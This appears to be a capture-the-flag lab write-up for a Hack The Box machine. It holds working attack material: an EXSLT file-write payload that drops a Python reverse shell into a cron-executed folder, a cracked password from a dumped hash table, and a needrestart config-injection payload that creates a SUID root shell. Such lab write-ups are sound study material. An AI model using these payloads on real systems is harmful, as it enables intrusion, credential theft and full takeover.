Nmap
# Nmap 7.95 scan initiated Tue Oct 28 14:39:30 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -Pn -oN ./nmap.txt 10.129.247.253
Nmap scan report for 10.129.247.253
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 28 14:45:57 2025 -- 1 IP address (1 host up) scanned in 387.02 seconds
Let's add conversor.htbto our /etc/hosts
Page check
We can try to register an account to access to dashboard
dashboard

Also we can find a source code download link from /about

Now we can try to code review to find the vulnerable vector
Code Review
We can find the vulnerable vector from /convert
@app.route('/convert', methods=['POST'])
def convert():
if 'user_id' not in session:
return redirect(url_for('login'))
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
...
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path)
xslt_file.save(xslt_path)
...
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
Unvalidatedfilenames:xml_file.filenameandxslt_file.filenameare directly appended to the file system path → Typical path traversal, leading to arbitrary file writes in the uploads/ directory.XSLTInjection: User-suppliedXSLTis passed tolxml.etree.XSLT()— theoretically exploitable.
Also we can find something interesting from install.md
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Conversor]
└─$ cat install.md
To deploy Conversor, we can extract the compressed file:
"""
tar -xvf source_code.tar.gz
"""
We install flask:
"""
pip3 install flask
"""
We can run the app.py file:
"""
python3 app.py
"""
You can also run it with Apache using the app.wsgi file.
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""
Every minute, any *.py script in the /var/www/conversor.htb/scripts/ folder will be executed as the www-data user. This is a low-privilege shell trigger—if we can place arbitrary Python code in this folder, it will automatically execute.
To write a file to the /var/www/conversor.htb/scripts/ directory, we need to use EXIST.
EXSLT is a community-driven, standardized set of XSLT extension elements and functions, similar to an "XSLT Standard Library," designed to fill gaps in the core language. It's organized into several modules (Common, Math, Sets, Date, etc.), which are typically natively supported by processors like libxslt.
We can embed a payload within the .xslt file, which, when run, will write a new file to disk.
Example: Writing a Python payload to a cron zone.
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl">
<xsl:template match="/">
<exsl:document href="/var/www/conversor.htb/scripts/poc.py" method="text">
Malicious Python Script
</exsl:document>
</xsl:template>
</xsl:stylesheet>
To verify the writing functionality of EXSLT, we wrote a minimal PoC that writes a marker file ( exslt_probe.txt ) to the /static/ directory, a readable path provided by the web server.
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl">
<xsl:output method="html" encoding="UTF-8"/>
<xsl:template match="/">
<!-- Write proof to webroot -->
<exsl:document href="/var/www/conversor.htb/static/exslt_probe.txt" method="text"><![CDATA[
EXSLT_WRITE_OK
]]></exsl:document>
<!-- Visible confirmation in output -->
<html><body><h2>Probe submitted</h2><p>Check /static/exslt_probe.txt</p></body></html>
</xsl:template>
</xsl:stylesheet>
We can also check the file

Now we can write a malicious Python script to /var/www/conversor.htb/scripts/ and have a cronjob automatically execute it as www-data.
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl">
<xsl:output method="html" encoding="UTF-8"/>
<xsl:template match="/">
<!-- Drop a Python reverse shell into the cron-monitored scripts/ folder -->
<exsl:document href="/var/www/conversor.htb/scripts/xpl.py" method="text">
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.9",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty; pty.spawn("sh")
</exsl:document>
<!-- Visible output to confirm transform ran -->
<html><body><h2>Exploit succeeds</h2><p>Check listener</p></body></html>
</xsl:template>
</xsl:stylesheet>
Then we can get the reverse shell as www-data
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Conversor]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.9] from (UNKNOWN) [10.129.247.253] 49018
$ whoami
whoami
www-data
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Now we can upgrade our shell
python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg
Shell as fismathack
From the source code, we have known there is a database path
app = Flask(__name__)
app.secret_key = 'Changemeplease' # weak static key
DB_PATH = '/var/www/conversor.htb/instance/users.db'
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
Now we can check it
$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
files users
sqlite> select * from users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|axura|96e79218965eb72c92a549dd5a330112
We can use john to crack the password
$ john --wordlist=/usr/share/wordlists/rockyou.txt fismathhack.hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
Keepmesafeandwarm (?)
1g 0:00:00:00 DONE (2025-10-25 23:59) 2.222g/s 24384Kp/s 24384Kc/s 24384KC/s Keisean1..Keeperhut141
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
Now we can get the credit fismathack:Keepmesafeandwarm
Then you can su fismathackto get the user shell
Privilege escalation
I would like check sudo -lfirstly
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
That is a perl script
fismathack@conversor:~$ file /usr/sbin/needrestart
/usr/sbin/needrestart: Perl script text executable
I would try to run it and check what can we do
fismathack@conversor:~$ sudo /usr/sbin/needrestart -help
Unknown option: h
Unknown option: e
Usage:
needrestart [-vn] [-c <cfg>] [-r <mode>] [-f <fe>] [-u <ui>] [-(b|p|o)] [-klw]
-v be more verbose
-q be quiet
-m <mode> set detail level
e (e)asy mode
a (a)dvanced mode
-n set default answer to 'no'
-c <cfg> config filename
-r <mode> set restart mode
l (l)ist only
i (i)nteractive restart
a (a)utomatically restart
-b enable batch mode
-p enable nagios plugin mode
-o enable OpenMetrics output mode, implies batch mode, cannot be used simultaneously with -p
-f <fe> override debconf frontend (DEBIAN_FRONTEND, debconf(7))
-t <seconds> tolerate interpreter process start times within this value
-u <ui> use preferred UI package (-u ? shows available packages)
By using the following options only the specified checks are performed:
-k check for obsolete kernel
-l check for obsolete libraries
-w check for obsolete CPU microcode
--help show this help
--version show version information
We discovered that needrestart is an open-source project hosted on GitHub. Its latest version is 3.11, while the victim's machine was running version 3.7—a potentially outdated and unaudited version.
We can use perlcritic to help us analyze these codes
perlcritic --severity 5 ./needrestart

Let's review these code
fismathack@conversor:~$ sed -n '210,230p' /usr/sbin/needrestart
# slurp config file
print STDERR "$LOGPREF eval $opt_c\n" if($nrconf{verbosity} > 1);
eval do {
local $/;
open my $fh, $opt_c or die "ERROR: $!\n";
my $cfg = <$fh>;
close($fh);
$cfg;
};
die "Error parsing $opt_c: $@" if($@);
This is a textbook case of Perl config injection. The moment we invoke:
sudo needrestart -c /path/to/malicious.pl
It gets executed before any logic in needrestart runs. No escaping. No filters.
Let's make a perl payload
cat > /dev/shm/pwn.pl <<'PL'
use strict; use warnings;
unlink '/usr/local/bin/bsh';
system('/usr/bin/install','-m','04755','/bin/bash','/usr/local/bin/bsh');
1;
PL
Then let's try to exploit it
fismathack@conversor:~$ cat /dev/shm/pwn.pl
use strict; use warnings;
unlink '/usr/local/bin/bsh';
system('/usr/bin/install','-m','04755','/bin/bash','/usr/local/bin/bsh');
1;
fismathack@conversor:~$ sudo needrestart -c /dev/shm/pwn.pl -r l -v
[main] eval /dev/shm/pwn.pl
[main] needrestart v3.7
[main] running in root mode
[Core] Using UI 'NeedRestart::UI::stdio'...
[main] systemd detected
[main] vm detected
[Core] #835 is a NeedRestart::Interp::Python
[Python] #835: source=/usr/bin/networkd-dispatcher
[Core] #14298 is a NeedRestart::Interp::Python
[Python] #14298: source=/var/www/conversor.htb/scripts/xpl.py
[Core] #14307 is a NeedRestart::Interp::Python
[Python] #14307: uses no source file (-c), skipping
[main] inside container or vm, skipping microcode checks
[Kernel] Linux: kernel release 5.15.0-160-generic, kernel version #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025
Failed to load NeedRestart::Kernel::kFreeBSD: [Kernel/kFreeBSD] Not running on GNU/kFreeBSD!
[Kernel/Linux] /boot/vmlinuz.old => 5.15.0-151-generic (buildd@lcy02-amd64-092) #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 [5.15.0-151-generic]
[Kernel/Linux] /boot/vmlinuz-5.15.0-160-generic => 5.15.0-160-generic (buildd@lcy02-amd64-086) #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 [5.15.0-160-generic]*
[Kernel/Linux] /boot/vmlinuz-5.15.0-151-generic => 5.15.0-151-generic (buildd@lcy02-amd64-092) #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 [5.15.0-151-generic]
[Kernel/Linux] /boot/vmlinuz => 5.15.0-160-generic (buildd@lcy02-amd64-086) #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 [5.15.0-160-generic]*
[Kernel/Linux] Expected linux version: 5.15.0-160-generic
Running kernel seems to be up-to-date.
No services need to be restarted.
No containers need to be restarted.
No user sessions are running outdated binaries.
No VM guests are running outdated hypervisor (qemu) binaries on this host.
fismathack@conversor:~$ bsh -p
bsh-5.1# whoami
root
bsh-5.1#
Description
In general, it is a very CTF machine, mainly examining code review and the use of Xtensible Stylesheet Language Transformations.